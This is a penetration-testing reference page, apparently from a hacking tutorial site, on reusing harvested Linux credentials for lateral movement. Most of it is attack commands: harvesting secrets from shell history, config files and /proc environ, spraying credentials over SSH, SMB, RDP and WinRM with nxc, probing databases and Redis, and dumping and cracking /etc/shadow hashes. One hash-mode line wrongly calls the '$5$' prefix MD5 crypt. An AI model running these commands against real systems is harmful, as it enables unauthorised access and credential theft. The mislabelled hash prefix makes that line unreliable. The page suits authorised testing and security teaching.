Skip to content
HackIndex logo

HackIndex

Credential Reuse for Lateral Movement on Linux

3 min read Mar 16, 2026

Passwords and hashes collected during post-exploitation are rarely valid on only one host. Reuse across SSH accounts, local user accounts, internal services, and sudo configurations is common — especially in environments managed manually or with shared service account credentials.

This page covers validating harvested credentials against other accounts and hosts. Finding those credentials in the first place is covered in the post-exploitation credential hunting pages.

Where Credentials Come From

Before spraying, know what you have. Common sources on Linux:

  • Shell history: ~/.bash_history, ~/.zsh_history — commands with -p, passwords as arguments

  • Config files: database connection strings, .env files, wp-config.php, application configs

  • /etc/shadow — if readable after privilege escalation, crack or pass hashes

  • Environment variables: env output, /proc/*/environ

  • Memory: process secret hunting against running service processes

A full walkthrough of each source is in the post-exploitation section.

Testing Credentials via SSH

The fastest check for a harvested password across known hosts:

┌──(kali㉿kali)-[~]
└─$ ssh $USER@$TARGET_IP

To suppress host key prompts when testing multiple targets:

┌──(kali㉿kali)-[~]
└─$ ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null $USER@$TARGET_IP

For testing one credential against a list of targets, use nxc:

┌──(kali㉿kali)-[~]
└─$ nxc ssh /tmp/targets.txt -u $USER -p $PASSWORD
SSH         10.10.20.5   22   10.10.20.5   [*] SSH-2.0-OpenSSH_8.2p1
SSH         10.10.20.5   22   10.10.20.5   [+] admin:Summer2023! (Pwn3d!)
SSH         10.10.20.6   22   10.10.20.6   [-] admin:Summer2023! Authentication failed

[+] indicates success. (Pwn3d!) means the account can run commands — nxc confirms execution, not just authentication.

For a credential list against a list of targets:

┌──(kali㉿kali)-[~]
└─$ nxc ssh /tmp/targets.txt -u /tmp/users.txt -p /tmp/passwords.txt --no-bruteforce

--no-bruteforce pairs each user with the corresponding password in order rather than doing a full matrix, which is appropriate when you have likely user:password pairs rather than a spray list.

Local Account Switching

A harvested password may work for su on the current host even if SSH is restricted. Test before moving to remote hosts:

┌──(kali㉿kali)-[~]
└─$ su - $USER
┌──(kali㉿kali)-[~]
└─$ # e.g.
┌──(kali㉿kali)-[~]
└─$ su - root

If PAM is configured to allow it, this works without SSH being open or the account having a login shell in some configurations.

Sudo Password Reuse

A user's password often matches their sudo password. After landing on a new host:

┌──(kali㉿kali)-[~]
└─$ sudo -l
┌──(kali㉿kali)-[~]
└─$ sudo -v

If sudo -v accepts the password, the account has sudo access on this host even if the sudo rules differ from the previous one.

Internal Service Reuse

Credentials found in application configs frequently authenticate to the local database, cache, or API — and sometimes to the same service on other hosts. Test common internal services:

┌──(kali㉿kali)-[~]
└─$ mysql -u $USER -p$PASSWORD -h $TARGET_IP -e "show databases;" 2>/dev/null
┌──(kali㉿kali)-[~]
└─$ psql -h $TARGET_IP -U $USER -c "\l" 2>/dev/null
┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -a $PASSWORD ping 2>/dev/null

For a wider internal service sweep with nxc:

┌──(kali㉿kali)-[~]
└─$ nxc smb /tmp/targets.txt -u $USER -p $PASSWORD
┌──(kali㉿kali)-[~]
└─$ nxc rdp /tmp/targets.txt -u $USER -p $PASSWORD
┌──(kali㉿kali)-[~]
└─$ nxc winrm /tmp/targets.txt -u $USER -p $PASSWORD

These are relevant in mixed Linux/Windows environments where the same credential set appears across both platforms.

Hash Reuse from /etc/shadow

If you have read access to /etc/shadow after privilege escalation, extract the hashes:

┌──(kali㉿kali)-[~]
└─$ cat /etc/shadow | grep -v '!\|*' | cut -d: -f1,2

Crack offline with hashcat:

┌──(kali㉿kali)-[~]
└─$ hashcat -m 1800 /tmp/shadow_hashes.txt /usr/share/wordlists/rockyou.txt

-m 1800 is SHA-512 crypt ($6$), the default on modern Linux. Use -m 500 for MD5 crypt ($5$) and -m 3200 for bcrypt ($2a$).

Once cracked, the plaintext password is the one to test for reuse via SSH and su.

References